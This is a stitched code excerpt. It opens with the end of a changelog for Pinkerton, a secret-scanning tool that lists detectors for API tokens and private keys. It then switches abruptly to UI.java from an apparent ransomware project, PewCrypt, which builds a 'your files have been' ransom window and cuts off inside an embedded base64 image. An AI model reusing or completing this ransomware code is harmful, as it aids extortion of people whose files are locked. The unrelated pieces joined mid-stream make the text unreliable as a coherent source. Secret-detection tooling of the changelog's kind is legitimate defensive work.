- Clojars API Token
- Doppler API Token
- Dynatrace API Token
- EasyPost API Token
- GitHub App Token
- GitHub Personal Access Token
- GitLab Personal Access Token
- NPM Access Token
- Fixed GCP API Key regex
- Removed useless if/else code
<br>
# 1.5a - 28/07/2022
- Added 2 new secrets regex patterns:
- Slack Webhook+
- Slack OAuth Tokens
<br>
# 1.5 - 28/07/2022
- Added 9 new secrets regex patterns:
- Artifactory API Token & Password
- Cloudinary Basic Auth
- Facebook Client ID
- IPv4 Address
- Linkedin Secret Key
- Picatic API Key
- Mailto String
- Slack Token
- URL Parameters
- Fixed error message when not parsing arguments
- Changed status messages icons
- Changed README.md banner
- Updated README.md
<br>
# 1.4 - 18/07/2022
- Added 5 new secrets regex patterns:
- PGP Private Key Block
- SSH DSA Private Key
- SSH EC Private Key
- SSH RSA Key
- SSH ED25519 Public Key
- Added jsbeautifier lib to improve regex pattern matching
- Fixed blank regex pattern matching caused by not beautified code
- Fixed infinite JavaScript file scanning
<br>
# 1.3 - 04/07/2022
- Added and updated a bunch of secrets regex:
- Cloudinary
- Firebase URL
- Slack Token
- Facebook Access & API
- Mailgun API Key
- Heroku API Key
- Picatic API Key
- Paypal Braintree
- Twitter Access & OAuth Token
- GitHub URL
- Stripe
- Slack Webhook
- Twilio API Key
- Square Access Token & OAuth Secret
- Removed text file with URLs scanner to fix bugs
<br>
# 1.2b - 21/06/2022
- Pinkerton accept a text file with URLs now!
<br>
# 1.2 - 21/06/2022
- Secret searcher module finished!
- Improved the code
<br>
# 1.1 - 20/06/2022
- JavaScript file link extractor finished!
- Improved the code
- Thinking in a better color system...
<br>
# 1.0 - 09/06/2022
- Official Pinkerton release
|
000JustMe/PewCrypt
| 67,303 |
Encryptor/src/main/UI.java
|
package main;
import java.awt.EventQueue;
import javax.swing.JFrame;
import javax.swing.JTextField;
import java.awt.Color;
import java.awt.Desktop;
import javax.swing.SwingConstants;
import javax.swing.JTextArea;
import java.awt.Font;
import javax.swing.JProgressBar;
import javax.imageio.ImageIO;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.awt.event.ActionEvent;
import javax.xml.bind.DatatypeConverter;
import java.net.URI;
import java.net.URISyntaxException;
import javax.swing.JLabel;
import java.awt.Window.Type;
public class UI {
private static Scraper scraper = new Scraper();
private JFrame frmYourFilesHave;
private JTextField txtYourFilesHave;
private final static String imgB64 = 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